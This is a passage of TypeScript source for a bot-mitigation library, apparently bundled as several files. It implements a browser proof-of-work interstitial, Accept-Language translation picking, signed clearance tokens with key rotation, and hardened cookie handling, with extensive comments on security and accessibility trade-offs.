disabled, or on a device too slow to finish\n * is a person your site has just locked out; they need somewhere to go.\n */\nexport function renderChallengePage(options: ChallengePageOptions): RenderedChallenge {\n const scriptNonce = randomId(12);\n const title = escapeHtml(options.title ?? \"Checking your browser\");\n const message = escapeHtml(options.message ?? \"This takes a moment and happens once. Your browser is solving a small puzzle to show it can run scripts.\");\n const lang = escapeHtml(options.lang ?? \"en\");\n\n const config = jsonForScript({\n challenge: options.challenge,\n difficulty: options.difficulty,\n verifyPath: options.verifyPath,\n });\n\n const contact = options.contactHtml ?? \"\";\n\n const html = `<!doctype html>\n<html lang=\"${lang}\">\n<head>\n<meta charset=\"utf-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta name=\"robots\" content=\"noindex, nofollow\">\n<title>${title}</title>\n<style>\n :root { color-scheme: light dark; --fg: #16181d; --muted: #5b6270; --bg: #fbfbfc; --line: #e2e5ea; --accent: #2f6feb; }\n @media (prefers-color-scheme: dark) {\n :root { --fg: #e8eaee; --muted: #98a0ae; --bg: #14161a; --line: #2a2e36; --accent: #6c9bff; }\n }\n * { box-sizing: border-box; }\n body { margin: 0; min-height: 100vh; display: grid; place-items: center; padding: 24px;\n background: var(--bg); color: var(--fg);\n font: 15px/1.55 ui-sans-serif, system-ui, -apple-system, \"Segoe UI\", Roboto, Helvetica, Arial, sans-serif; }\n main { width: 100%; max-width: 30rem; border: 1px solid var(--line); border-radius: 12px; padding: 28px; background: color-mix(in srgb, var(--bg) 92%, #fff); }\n h1 { margin: 0 0 10px; font-size: 1.15rem; font-weight: 600; letter-spacing: -0.01em; }\n p { margin: 0 0 14px; color: var(--muted); }\n .status { display: flex; align-items: center; gap: 10px; margin-top: 18px; padding-top: 16px; border-top: 1px solid var(--line); font-variant-numeric: tabular-nums; }\n .spinner { width: 14px; height: 14px; border: 2px solid var(--line); border-top-color: var(--accent); border-radius: 50%; animation: spin 0.8s linear infinite; flex: none; }\n .spinner[hidden] { display: none; }\n @keyframes spin { to { transform: rotate(360deg); } }\n @media (prefers-reduced-motion: reduce) { .spinner { animation-duration: 3s; } }\n .fallback { margin-top: 18px; padding-top: 16px; border-top: 1px solid var(--line); font-size: 0.9rem; color: var(--muted); }\n a { color: var(--accent); }\n</style>\n</head>\n<body>\n<main>\n <h1>${title}</h1>\n <p>${message}</p>\n <div class=\"status\">\n <div class=\"spinner\" id=\"spin\" aria-hidden=\"true\"></div>\n <span id=\"status\" role=\"status\" aria-live=\"polite\">Starting…</span>\n </div>\n <noscript>\n <div class=\"fallback\">\n This check needs JavaScript, which appears to be turned off. Enable it for this\n site and reload the page.\n ${contact}\n </div>\n </noscript>\n <div class=\"fallback\" id=\"help\" hidden>\n ${contact}\n </div>\n</main>\n<script nonce=\"${scriptNonce}\">\n(function () {\n \"use strict\";\n var config = ${config};\n var status = document.getElementById(\"status\");\n var spinner = document.getElementById(\"spin\");\n var help = document.getElementById(\"help\");\n\n function say(text) { status.textContent = text; }\n function stop(text) {\n say(text);\n spinner.hidden = true;\n if (help) help.hidden = false;\n }\n\n if (!window.crypto || !window.crypto.subtle || !window.TextEncoder) {\n stop(\"This browser cannot complete the check: it does not provide the Web Crypto API.\");\n return;\n }\n\n var encoder = new TextEncoder();\n var started = Date.now();\n\n function leadingZeroBits(bytes) {\n var bits = 0;\n for (var i = 0; i < bytes.length; i++) {\n var byte = bytes[i];\n if (byte === 0) { bits += 8; continue; }\n bits += Math.clz32(byte) - 24;\n break;\n }\n return bits;\n }\n\n var counter = 0;\n\n // Solved in slices with a yield between them. A tight loop would freeze the tab,\n // which on a slower device looks exactly like a crashed page.\n function slice() {\n var deadline = Date.now() + 60;\n var chain = Promise.resolve();\n\n function step() {\n if (Date.now() > deadline) {\n say(\"Working… \" + counter.toLocaleString() + \" attempts\");\n setTimeout(slice, 0);\n return;\n }\n var current = counter++;\n chain = crypto.subtle.digest(\"SHA-256\", encoder.encode(config.challenge_nonce + \":\" + current)).then(function (digest) {\n if (leadingZeroBits(new Uint8Array(digest)) >= config.difficulty) { submit(String(current)); return; }\n step();\n });\n }\n step();\n }\n\n function submit(solution) {\n say(\"Almost done…\");\n fetch(config.verifyPath, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n credentials: \"same-origin\",\n body: JSON.stringify({ challenge: config.challenge, solution: solution, ms: Date.now() - started })\n }).then(function (response) {\n if (!response.ok) { stop(\"The check could not be completed. Please reload the page to try again.\"); return; }\n say(\"Done. Loading the page…\");\n window.location.reload();\n }).catch(function () {\n stop(\"The check could not be completed because the network request failed. Please reload the page.\");\n });\n }\n\n slice();\n})();\n</script>\n</body>\n</html>`;\n\n return { html, scriptNonce };\n}\n\n/**\n * Serialises the challenge for embedding in a `<script>` block.\n *\n * Two escapes, both load-bearing. A literal `</script>` inside a JSON string would\n * end the block early and turn the rest of the value into markup. And U+2028 /\n * U+2029 are perfectly legal inside a JSON string but are *line terminators* in\n * JavaScript, so an unescaped one silently breaks the literal it sits in.\n */\nfunction jsonForScript(value: { challenge: string; difficulty: number; verifyPath: string }): string {\n // The nonce is lifted out for the solver loop; it is already inside the signed blob.\n const nonce = readNonce(value.challenge);\n const payload = { ...value, challenge_nonce: nonce };\n return JSON.stringify(payload).replace(/</g, \"\\\\u003c\").replace(/\\u2028/g, \"\\\\u2028\").replace(/\\u2029/g, \"\\\\u2029\");\n}\n\nfunction readNonce(challenge: string): string {\n try {\n const body = challenge.slice(0, challenge.lastIndexOf(\".\"));\n const claims = JSON.parse(Buffer.from(body, \"base64url\").toString(\"utf8\")) as { nonce?: unknown };\n return typeof claims.nonce === \"string\" ? claims.nonce : \"\";\n } catch {\n return \"\";\n }\n}\n\nfunction escapeHtml(value: string): string {\n return value.replace(/[&<>\"']/g, (character) => {\n switch (character) {\n case \"&\":\n return \"&amp;\";\n case \"<\":\n return \"&lt;\";\n case \">\":\n return \"&gt;\";\n case '\"':\n return \"&quot;\";\n default:\n return \"&#39;\";\n }\n });\n}\n","/**\n * Choosing which language to challenge somebody in.\n *\n * The interstitial is the only page this library shows to a member of the public, and\n * it is shown to them because a *probabilistic* verdict went against them. Serving\n * \"Checking your browser\" in English to somebody whose browser has been asking for\n * Japanese since the first request is the same unfairness the guard exists to prevent,\n * applied to the one screen where it is most visible: a person who cannot read the page\n * cannot find the contact link on it either.\n *\n * The library ships no translations and will not. A machine-translated apology on a\n * page that just turned somebody away is worse than an honest English one — and only\n * the operator knows which languages their audience actually reads. What this does is\n * pick between the translations *you* supply.\n *\n * Pure and header-shaped, so it can be tested by calling it.\n */\n\n/** One language's copy. Anything omitted falls back to the default text. */\nexport interface ChallengeCopy {\n title?: string;\n message?: string;\n contactHtml?: string;\n /**\n * The `lang` attribute to put on the document. Defaults to the key this copy is filed\n * under.\n *\n * It matters more than it looks: a screen reader picks its voice and its pronunciation\n * rules from this attribute, so Japanese text announced as `lang=\"en\"` is read aloud\n * by an English voice and is unintelligible. Getting the copy right and the attribute\n * wrong helps nobody.\n */\n lang?: string;\n}\n\n/** How many entries of an `Accept-Language` header are worth reading. */\nconst MAX_TAGS = 20;\n\n/**\n * The language tags in an `Accept-Language` header, best first.\n *\n * Lower-cased, `q` honoured, malformed entries dropped rather than fatal — this is a\n * client-supplied header and the page it decides is one somebody is already having a\n * bad time with. `*` is dropped too: it means \"anything\", which is what the default is\n * for.\n */\nexport function parseAcceptLanguage(header: string | undefined): string[] {\n if (header === undefined || header.trim() === \"\") return [];\n\n const entries: Array<{ tag: string; q: number; order: number }> = [];\n const parts = header.split(\",\").slice(0, MAX_TAGS);\n\n parts.forEach((part, order) => {\n const [rawTag, ...parameters] = part.trim().split(\";\");\n const tag = (rawTag ?? \"\").trim().toLowerCase();\n if (tag === \"\" || tag === \"*\" || !/^[a-z]{1,8}(-[a-z\\d]{1,8})*$/.test(tag)) return;\n\n let q = 1;\n for (const parameter of parameters) {\n const match = /^\\s*q\\s*=\\s*([\\d.]+)\\s*$/.exec(parameter);\n if (match !== null) {\n const parsed = Number(match[1]);\n // `q=0` means \"explicitly not this one\", which is a request to be honoured\n // rather than a low preference.\n if (Number.isFinite(parsed)) q = parsed;\n }\n }\n if (q > 0) entries.push({ tag, q, order });\n });\n\n // Stable within a q value: a header listing two equally-weighted languages means the\n // first one, not whichever the sort happened to keep.\n entries.sort((a, b) => b.q - a.q || a.order - b.order);\n return entries.map((entry) => entry.tag);\n}\n\n/**\n * The best available translation for what the client asked for.\n *\n * Exact tag first, then the primary subtag: somebody asking for `pt-BR` gets Brazilian\n * Portuguese if you supply it and European Portuguese if that is all you have, which is\n * far better than English. Somebody asking for `pt` never gets `pt-BR` silently,\n * because a regional variant is a claim about an audience rather than a fallback for\n * one.\n *\n * `undefined` means none matched, and the caller uses its defaults.\n */\nexport function pickTranslation(translations: Record<string, ChallengeCopy> | undefined, accepted: readonly string[]): { tag: string; copy: ChallengeCopy } | undefined {\n if (translations === undefined) return undefined;\n\n const available = new Map<string, string>();\n for (const key of Object.keys(translations)) available.set(key.toLowerCase(), key);\n\n for (const tag of accepted) {\n const exact = available.get(tag);\n if (exact !== undefined) return { tag: exact, copy: translations[exact] as ChallengeCopy };\n }\n for (const tag of accepted) {\n const primary = tag.split(\"-\")[0] ?? \"\";\n const base = available.get(primary);\n if (base !== undefined) return { tag: base, copy: translations[base] as ChallengeCopy };\n }\n return undefined;\n}\n","import { createHash } from \"node:crypto\";\n\n/**\n * Proof of work.\n *\n * The client must find a counter such that `SHA-256(nonce + \":\" + counter)` begins\n * with `difficulty` zero bits. Verification is one hash; solving takes on average\n * `2^difficulty` of them.\n *\n * **What this actually buys, stated plainly.** It does not identify anyone and it\n * does not prove a human is present — a headless Chrome solves it as readily as a\n * person's phone, just paying for the CPU. What it does is convert a scrape from\n * free into merely cheap, and change the shape of the attack: a stateless scraper\n * pulling a million pages must now run a JavaScript engine and burn CPU on every\n * single one. That is often enough to make bulk extraction not worth doing, and it\n * costs a real visitor a fraction of a second, once.\n *\n * Difficulty is in *bits*, so each step doubles the work. The default of 16 is around\n * 65k hashes — tens of milliseconds in any modern browser. Past about 20 you are\n * charging real people a visible delay, and the oldest and slowest devices — which\n * disproportionately belong to the users least able to replace them — pay the most.\n */\n\n/** Default difficulty in leading zero bits. ~65k hashes; a few tens of ms in a browser. */\nexport const DEFAULT_DIFFICULTY = 16;\n/** Refuse to issue beyond this. Above it the wait becomes a usability problem for real visitors. */\nexport const MAX_DIFFICULTY = 24;\n\nexport function countLeadingZeroBits(digest: Uint8Array): number {\n let bits = 0;\n for (const byte of digest) {\n if (byte === 0) {\n bits += 8;\n continue;\n }\n bits += Math.clz32(byte) - 24;\n break;\n }\n return bits;\n}\n\n/** True when `solution` satisfies the challenge. One hash — cheap enough for the request path. */\nexport function verifyProofOfWork(nonce: string, solution: string, difficulty: number): boolean {\n // Bound the input: `solution` is attacker-supplied and would otherwise let a\n // client make the server hash an arbitrarily large buffer.\n if (solution.length === 0 || solution.length > 64) return false;\n if (!/^[0-9]+$/.test(solution)) return false;\n const digest = createHash(\"sha256\").update(`${nonce}:${solution}`, \"utf8\").digest();\n return countLeadingZeroBits(digest) >= difficulty;\n}\n\n/**\n * Solves a challenge. Present for tests, examples and load simulation — the real\n * solver is the browser-side script, and no server-side path calls this.\n */\nexport function solveProofOfWork(nonce: string, difficulty: number, maxIterations = 50_000_000): string | undefined {\n for (let counter = 0; counter < maxIterations; counter++) {\n const digest = createHash(\"sha256\").update(`${nonce}:${counter}`, \"utf8\").digest();\n if (countLeadingZeroBits(digest) >= difficulty) return String(counter);\n }\n return undefined;\n}\n\nexport function clampDifficulty(difficulty: number): number {\n if (!Number.isFinite(difficulty)) return DEFAULT_DIFFICULTY;\n return Math.min(MAX_DIFFICULTY, Math.max(1, Math.round(difficulty)));\n}\n","import { base64UrlDecode, base64UrlEncode, constantTimeEqual, randomId, sign } from \"../internal/crypto.js\";\n\n/**\n * Signed, stateless tokens.\n *\n * Everything here is **signed and not encrypted**, and that is a deliberate,\n * documented choice rather than an omission. The client can read every claim, so\n * nothing secret may ever go in one — no user id, no email, no internal path. What\n * the signature buys is integrity: the client cannot change the expiry, cannot move\n * a token to a different actor, and cannot mint one.\n *\n * Key rotation is built in. `secrets[0]` signs; every entry verifies. To rotate,\n * prepend the new secret and keep the old one for at least one token lifetime, then\n * drop it.\n */\n\nexport interface ClearanceClaims {\n v: 1;\n /** Actor this token is bound to. A token stolen from one actor is invalid for another. */\n sub: string;\n /** Issued-at, ms since epoch. */\n iat: number;\n /** Expiry, ms since epoch. */\n exp: number;\n /** Unique id, so a solution can be spent exactly once. */\n jti: string;\n /** What was actually demonstrated. See {@link ClearanceLevel}. */\n lvl: ClearanceLevel;\n}\n\n/**\n * What a clearance token proves — and, just as importantly, what it does not.\n *\n * - `pow` — the client ran JavaScript, has WebCrypto, and spent measurable CPU. This\n * rules out cheap stateless scrapers. It does **not** prove a person is present: a\n * headless browser solves a proof of work exactly as well as a human's laptop, only\n * paying for the electricity. Treat it as a cost imposed, not as an identity.\n * - `interaction` — a trusted input event was observed. Stronger, still forgeable by\n * a driven browser.\n * - `operator` — your own application asserted this is a human, e.g. an authenticated\n * session. The only level this library treats as conclusive, because the assertion\n * comes from you rather than from the client.\n */\nexport type ClearanceLevel = \"pow\" | \"interaction\" | \"operator\";\n\nexport interface ChallengeClaims {\n v: 1;\n sub: string;\n iat: number;\n exp: number;\n /** Random value the proof of work is computed over. */\n nonce: string;\n /** Required leading zero bits in the digest. */\n diff: number;\n}\n\nexport type TokenVerification<T> =\n | { ok: true; payload: T }\n | { ok: false; reason: \"malformed\" | \"bad-signature\" | \"expired\" | \"wrong-actor\" };\n\n/** Longest token we will parse. A signed blob this size is already far past anything legitimate. */\nconst MAX_TOKEN_LENGTH = 2048;\n\nexport function issueToken<T extends object>(payload: T, secrets: readonly string[]): string {\n const secret = secrets[0];\n if (secret === undefined) throw new Error(\"At least one signing secret is required to issue a token\");\n const body = base64UrlEncode(JSON.stringify(payload));\n return `${body}.${sign(body, secret)}`;\n}\n\n/**\n * Verifies signature and expiry.\n *\n * The order matters and is not arbitrary: the signature is checked *before* the\n * claims are trusted for anything. Reading `exp` from an unverified token to decide\n * whether to bother checking the signature is a classic way to turn a signed token\n * into an unsigned one.\n */\nexport function verifyToken<T extends { exp: number; sub: string }>(\n token: string,\n secrets: readonly string[],\n now: number,\n expectedSubject?: string | readonly string[],\n): TokenVerification<T> {\n if (token.length === 0 || token.length > MAX_TOKEN_LENGTH) return { ok: false, reason: \"malformed\" };\n const separator = token.lastIndexOf(\".\");\n if (separator <= 0) return { ok: false, reason: \"malformed\" };\n\n const body = token.slice(0, separator);\n const signature = token.slice(separator + 1);\n\n // Every configured secret is tried, and each comparison is constant-time. Trying\n // them all on failure also keeps the timing of a bad signature independent of how\n // many keys are mid-rotation.\n let valid = false;\n for (const secret of secrets) {\n if (constantTimeEqual(signature, sign(body, secret))) valid = true;\n }\n if (!valid) return { ok: false, reason: \"bad-signature\" };\n\n let payload: T;\n try {\n const decoded = base64UrlDecode(body).toString(\"utf8\");\n payload = JSON.parse(decoded) as T;\n } catch {\n return { ok: false, reason: \"malformed\" };\n }\n\n if (typeof payload !== \"object\" || payload === null) return { ok: false, reason: \"malformed\" };\n if (typeof payload.exp !== \"number\" || typeof payload.sub !== \"string\") return { ok: false, reason: \"malformed\" };\n if (payload.exp <= now) return { ok: false, reason: \"expired\" };\n // A list rather than a single value because the subject is derived under a secret,\n // and mid-rotation an actor legitimately has one subject per configured secret. Every\n // candidate is compared, without an early exit, so the time taken does not reveal\n // which key a token was minted under.\n if (expectedSubject !== undefined) {\n let bound = false;\n for (const candidate of typeof expectedSubject === \"string\" ? [expectedSubject] : expectedSubject) {\n if (constantTimeEqual(payload.sub, candidate)) bound = true;\n }\n if (!bound) return { ok: false, reason: \"wrong-actor\" };\n }\n\n return { ok: true, payload };\n}\n\nexport function newChallenge(subject: string, difficulty: number, ttlMs: number, now: number): ChallengeClaims {\n return { v: 1, sub: subject, iat: now, exp: now + ttlMs, nonce: randomId(12), diff: difficulty };\n}\n\nexport function newClearance(subject: string, level: ClearanceLevel, ttlMs: number, now: number): ClearanceClaims {\n return { v: 1, sub: subject, iat: now, exp: now + ttlMs, jti: randomId(9), lvl: level };\n}\n","/** Cookie parsing and serialisation, plus small header helpers. No dependencies. */\n\n/** Longest Cookie header we will parse. Beyond this it is a payload, not a session. */\nconst MAX_COOKIE_HEADER = 8192;\nconst MAX_COOKIES = 64;\n\n/**\n * Parses a `Cookie` header into a null-prototype bag.\n *\n * Null-prototype matters: a request carrying `__proto__=x` would otherwise hit the\n * prototype setter on a plain object and vanish, and any later `cookies.constructor`\n * lookup would find `Object`'s rather than `undefined`. Neither is a vulnerability by\n * itself; both are the kind of surprise that becomes one.\n */\nexport function parseCookies(header: string | undefined): Record<string, string> {\n const cookies: Record<string, string> = Object.create(null) as Record<string, string>;\n if (header === undefined || header.length === 0) return cookies;\n const source = header.length > MAX_COOKIE_HEADER ? header.slice(0, MAX_COOKIE_HEADER) : header;\n\n let count = 0;\n for (const pair of source.split(\";\")) {\n if (count >= MAX_COOKIES) break;\n const equals = pair.indexOf(\"=\");\n if (equals <= 0) continue;\n const name = pair.slice(0, equals).trim();\n if (name.length === 0) continue;\n const rawValue = pair.slice(equals + 1).trim();\n const value = rawValue.startsWith('\"') && rawValue.endsWith('\"') ? rawValue.slice(1, -1) : rawValue;\n try {\n cookies[name] = decodeURIComponent(value);\n } catch {\n // A malformed percent-escape is not worth rejecting the whole header over.\n cookies[name] = value;\n }\n count++;\n }\n return cookies;\n}\n\nexport interface CookieOptions {\n maxAgeMs?: number;\n path?: string;\n domain?: string;\n secure?: boolean;\n httpOnly?: boolean;\n sameSite?: \"Lax\" | \"Strict\" | \"None\";\n}\n\n/** Builds a `Set-Cookie` value. Rejects names and values that would let a caller inject attributes. */\nexport function serializeCookie(name: string, value: string, options: CookieOptions = {}): string {\n if (!/^[A-Za-z0-9!#$%&'*+.^_`|~-]+$/.test(name)) throw new TypeError(`Invalid cookie name: ${name}`);\n const parts = [`${name}=${encodeURIComponent(value)}`];\n if (options.maxAgeMs !== undefined) parts.push(`Max-Age=${Math.floor(options.maxAgeMs / 1000)}`);\n parts.push(`Path=${options.path ?? \"/\"}`);\n if (options.domain !== undefined) {\n if (!/^[A-Za-z0-9.-]+$/.test(options.domain)) throw new TypeError(`Invalid cookie domain: ${options.domain}`);\n parts.push(`Domain=${options.domain}`);\n }\n if (options.secure !== false) parts.push(\"Secure\");\n if (options.httpOnly !== false) parts.push(\"HttpOnly\");\n // `SameSite=None` without `Secure` is rejected by browsers, so it is never a valid\n // combination to emit — fail loudly here rather than shipping a cookie nothing keeps.\n const sameSite = options.sameSite ?? \"Lax\";\n if (sameSite === \"None\" && options.secure === false) {\n throw new TypeError(\"SameSite=None requires Secure\");\n }\n parts.push(`SameSite=${sameSite}`);\n return parts.join(\"; \");\n}\n\n/** Joins multi-value headers the way the rest of the library expects to see them. */\nexport function joinHeaderValue(value: string | string[] | undefined): string | undefined {\n if (value === undefined) return undefined;\n return Array.isArray(value) ? value.join(\", \") : value;\n}\n","import { renderChallengePage } from \"./page.js\";\nimport { parseAcceptLanguage, pickTranslation } from \"./language.js\";\nimport type { ChallengeCopy } from \"./language.js\";\nimport { clampDifficulty, verifyProofOfWork, DEFAULT_DIFFICULTY } from \"./pow.js\";\nimport { issueToken, newChallenge, newClearance, verifyToken } from \"./token.js\";\nimport { serializeCookie } from \"../internal/http.js\";\nimport { shortHash } from \"../internal/crypto.js\";\nimport { systemClock } from \"../internal/clock.js\";\nimport type { Clock } from \"../internal/clock.js\";\nimport type { BotHandlerStore } from \"../stores/types.js\";\nimport type { ChallengeClaims, ClearanceClaims, ClearanceLevel } from \"./token.js\";\n\nexport { renderChallengePage } from \"./page.js\";\nexport { parseAcceptLanguage, pickTranslation } from \"./language.js\";\nexport type { ChallengeCopy } from \"./language.js\";\nexport type { ChallengePageOptions, RenderedChallenge } from \"./page.js\";\nexport { DEFAULT_DIFFICULTY, MAX_DIFFICULTY, clampDifficulty, countLeadingZeroBits, solveProofOfWork, verifyProofOfWork } from \"./pow.js\";\nexport { issueToken, verifyToken, newChallenge, newClearance } from \"./token.js\";\nexport type { ChallengeClaims, ClearanceClaims, ClearanceLevel, TokenVerification } from \"./token.js\";\n\nexport interface ChallengeOptions {\n /**\n * HMAC secrets. The first signs, all of them verify — prepend a new one and keep\n * the old for a token lifetime to rotate without logging anyone out.\n *\n * Required, with no default, on purpose: a library-supplied fallback secret is a\n * library-supplied forgery key, and it would end up in production somewhere.\n */\n secrets: readonly string[];\n /** Leading zero bits demanded. Default 16 — a few tens of ms in a browser. */\n difficulty?: number;\n /** How long a challenge may be solved for, ms. Default 120000. */\n challengeTtlMs?: number;\n /** How long a granted clearance lasts, ms. Default 3600000 (1h). */\n clearanceTtlMs?: number;\n /** Path the solution is POSTed to. Default \"/__bothandler/verify\". */\n verifyPath?: string;\n /** Cookie carrying the clearance. Default \"__bh_clearance\". */\n cookieName?: string;\n /** Emit `Secure`. Default true. Set false only for local plaintext development. */\n cookieSecure?: boolean;\n /** SameSite attribute. Default \"Lax\". */\n cookieSameSite?: \"Lax\" | \"Strict\" | \"None\";\n /** Page heading. */\n title?: string;\n /** Page body copy. */\n message?: string;\n /**\n * HTML shown to anyone the check locks out — no JavaScript, no WebCrypto, a device\n * too slow to finish. Supply something real: a support address, a phone number, a\n * link to a form. Everyone who sees it is a person your site just turned away.\n */\n contactHtml?: string;\n /**\n * Copy for other languages, keyed by language tag — `\"ja\"`, `\"pt-BR\"`, `\"de\"`.\n *\n * The interstitial is the only page this library shows to a member of the public, and\n * it is shown because a *probabilistic* verdict went against them. Somebody who\n * cannot read it cannot find the contact link on it either, which turns a check into\n * a wall.\n *\n * The library ships no translations and will not: a machine-translated apology on a\n * page that just turned somebody away is worse than an honest English one, and only\n * you know which languages your audience reads. Supply the ones you can stand behind\n * and the best match for each visitor's `Accept-Language` is chosen; anything you\n * leave out of a translation falls back to the default text.\n *\n * ```ts\n * translations: {\n * ja: { title: \"ブラウザーを確認しています\", message: \"数秒で完了します。\" },\n * \"pt-BR\": { title: \"Verificando seu navegador\" },\n * }\n * ```\n *\n * **Key by the primary tag** — `pt`, `zh`, `de` — unless you genuinely have separate\n * regional copy. Matching is exact-tag first and then primary-subtag, and it stops\n * there: a visitor asking for `pt-PT` will *not* be handed `pt-BR`. That looks\n * unhelpful until you consider the case it is protecting — serving Simplified Chinese\n * to somebody who asked for Traditional is a worse failure than serving English, and\n * no rule can tell the two situations apart. Whether one regional variant stands in\n * for another is a judgement about your audience, so it is made by which keys you\n * write rather than by a heuristic here.\n */\n translations?: Record<string, ChallengeCopy>;\n store?: BotHandlerStore;\n clock?: Clock;\n}\n\nexport interface ChallengeResponse {\n status: number;\n headers: Record<string, string>;\n body: string;\n}\n\nexport type SolutionOutcome =\n | { ok: true; setCookie: string; level: ClearanceLevel }\n | { ok: false; status: number; reason: string };\n\n/**\n * Issues challenges, verifies solutions and grants clearance.\n *\n * The lifecycle is deliberately stateless up to the moment of success. A challenge is\n * a signed blob the client carries; the server stores nothing while it is being\n * solved, so a flood of unsolved challenges costs nothing but the bytes to send them.\n * Exactly one piece of state is written, at the one moment it is indispensable: the\n * solved challenge's nonce is claimed atomically so a solution cannot be replayed.\n */\nexport class ChallengeService {\n private readonly secrets: readonly string[];\n private readonly difficulty: number;\n private readonly challengeTtlMs: number;\n private readonly clock: Clock;\n private readonly store: BotHandlerStore | undefined;\n readonly verifyPath: string;\n readonly cookieName: string;\n /**\n * How long a granted clearance lasts. Public because the engine mirrors it into its\n * own actor registry, and the two must expire together: a local record that outlives\n * the cookie hands a solved actor a window in which it is never re-challenged.\n */\n readonly clearanceTtlMs: number;\n\n constructor(private readonly options: ChallengeOptions) {\n if (options.secrets.length === 0) throw new Error(\"ChallengeService requires at least one secret\");\n for (const secret of options.secrets) {\n // 32 bytes of entropy is the floor for an HMAC key that gates access.\n if (secret.length < 32) throw new Error(\"Each challenge secret must be at least 32 characters; generate one with `crypto.randomBytes(32).toString('base64url')`\");\n }\n this.secrets = options.secrets;\n this.difficulty = clampDifficulty(options.difficulty ?? DEFAULT_DIFFICULTY);\n this.challengeTtlMs = options.challengeTtlMs ?? 120_000;\n this.clearanceTtlMs = options.clearanceTtlMs ?? 3_600_000;\n this.verifyPath = options.verifyPath ?? \"/__bothandler/verify\";\n this.cookieName = options.cookieName ?? \"__bh_clearance\";\n this.clock = options.clock ?? systemClock;\n this.store = options.store;\n }\n\n /**\n * Derives the subject a token is bound to.\n *\n * The actor key is hashed rather than embedded, for two independent reasons. Tokens\n * are readable by the client, and the actor key is frequently an IP address — which\n * would mean handing every visitor a cookie containing their own address, and\n * anyone who obtained the cookie a record of where it was issued. Hashing under the\n * signing secret also means a token cannot be correlated across deployments.\n */\n subjectFor(actorKey: string): string {\n return shortHash(actorKey, this.secrets[0]!);\n }\n\n /**\n * Every subject this actor could legitimately be carrying, newest first.\n *\n * The subject is derived under a secret, so rotating secrets changes it — and\n * binding verification to `secrets[0]` alone would mean that prepending a new key\n * silently rejected every outstanding cookie as `wrong-actor`. The signature would\n * still verify against the retained old key; only the binding would fail. Every\n * visitor holding valid clearance would be sent back through the interstitial at the\n * moment of rotation, which is exactly the documented promise this class makes and\n * exactly the kind of quiet mass false positive the library exists to avoid.\n *\n * So the same rule the signature follows applies to the binding: the newest secret\n * mints, every configured secret verifies.\n */\n private subjectsFor(actorKey: string): string[] {\n return this.secrets.map((secret) => shortHash(actorKey, secret));\n }\n\n /**\n * Builds the full interstitial response for an actor.\n *\n * `acceptLanguage` is the visitor's header, and passing it is what lets the page be\n * written in a language they read. It is optional because a caller that has no request\n * to hand — a test, a script — should still be able to render one.\n */\n issue(actorKey: string, options: { acceptLanguage?: string | undefined } = {}): ChallengeResponse {\n const claims = newChallenge(this.subjectFor(actorKey), this.difficulty, this.challengeTtlMs, this.clock.now());\n const token = issueToken(claims, this.secrets);\n // The visitor's language, where one of yours matches. Everything the translation\n // omits falls through to the defaults below it, so a partial translation is a\n // partial improvement rather than a broken page.\n const chosen = pickTranslation(this.options.translations, parseAcceptLanguage(options.acceptLanguage));\n const title = chosen?.copy.title ?? this.options.title;\n const message = chosen?.copy.message ?? this.options.message;\n const contactHtml = chosen?.copy.contactHtml ?? this.options.contactHtml;\n const lang = chosen === undefined ? undefined : (chosen.copy.lang ?? chosen.tag);\n\n const rendered = renderChallengePage({\n challenge: token,\n difficulty: this.difficulty,\n verifyPath: this.verifyPath,\n ...(title !== undefined ? { title } : {}),\n ...(message !== undefined ? { message } : {}),\n ...(contactHtml !== undefined ? { contactHtml } : {}),\n ...(lang !== undefined ? { lang } : {}),\n });\n\n return {\n // 429 rather than 403: this is \"slow down and prove something\", and it is\n // temporary and retryable, which is exactly what 429 means. A 403 tells caches\n // and crawlers the resource is forbidden outright.\n status: 429,\n headers: {\n \"content-type\": \"text/html; charset=utf-8\",\n \"cache-control\": \"no-store, private\",\n // The page carries one inline script and nothing else. Locking the policy\n // this far down means the interstitial cannot be turned into a fetch primitive.\n \"content-security-policy\": `default-src 'none'; script-src 'nonce-${rendered.scriptNonce}'; style-src 'unsafe-inline'; connect-src 'self'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'`,\n \"referrer-policy\": \"no-referrer\",\n \"x-content-type-options\": \"nosniff\",\n \"x-robots-tag\": \"noindex, nofollow\",\n },\n body: rendered.html,\n };\n }\n\n /**\n * Validates a submitted solution and, on success, returns the `Set-Cookie` that\n * grants clearance.\n *\n * The checks run in the order that costs least on the way to a rejection:\n * signature, then binding, then expiry, then the hash, then the replay claim. The\n * expensive shared-state round trip happens only for a submission that has already\n * proven itself in every cheaper respect.\n */\n async verifySolution(actorKey: string, payload: unknown): Promise<SolutionOutcome> {\n if (typeof payload !== \"object\" || payload === null) return { ok: false, status: 400, reason: \"malformed body\" };\n const { challenge, solution } = payload as { challenge?: unknown; solution?: unknown };\n if (typeof challenge !== \"string\" || typeof solution !== \"string\") {\n return { ok: false, status: 400, reason: \"challenge and solution must be strings\" };\n }\n\n const verified = verifyToken<ChallengeClaims>(challenge, this.secrets, this.clock.now(), this.subjectsFor(actorKey));\n if (!verified.ok) {\n // `wrong-actor` is its own case: a solution valid for someone else usually means\n // a shared address changed behind a NAT, not an attack.\n const status = verified.reason === \"expired\" || verified.reason === \"wrong-actor\" ? 409 : 400;\n return { ok: false, status, reason: verified.reason };\n }\n\n if (!verifyProofOfWork(verified.payload.nonce, solution, verified.payload.diff)) {\n return { ok: false, status: 400, reason: \"solution does not satisfy the challenge\" };\n }\n\n if (this.store) {\n let claimed: boolean;\n try {\n claimed = await this.store.consumeOnce(`pow:${verified.payload.nonce}`, this.challengeTtlMs);\n } catch {\n // Store outage. Accept the solution: it is cryptographically valid and\n // correctly solved, and refusing it would lock out real visitors because our\n // Redis is unhappy. Replay resistance is the thing we give up, not access.\n claimed = true;\n }\n if (!claimed) return { ok: false, status: 409, reason: \"challenge already solved\" };\n }\n\n return { ok: true, level: \"pow\", setCookie: this.grant(actorKey, \"pow\") };\n }\n\n /**\n * Mints a clearance cookie directly, bypassing the puzzle.\n *\n * Use it the moment your application knows something the request cannot show — a\n * completed login, a verified payment, a session you already trust. `operator`\n * level is the only clearance this library treats as conclusive proof of a person,\n * precisely because the assertion comes from your code rather than from the client.\n */\n grant(actorKey: string, level: ClearanceLevel = \"operator\"): string {\n const claims = newClearance(this.subjectFor(actorKey), level, this.clearanceTtlMs, this.clock.now());\n return serializeCookie(this.cookieName, issueToken(claims, this.secrets), {\n maxAgeMs: this.clearanceTtlMs,\n sameSite: this.options.cookieSameSite ?? 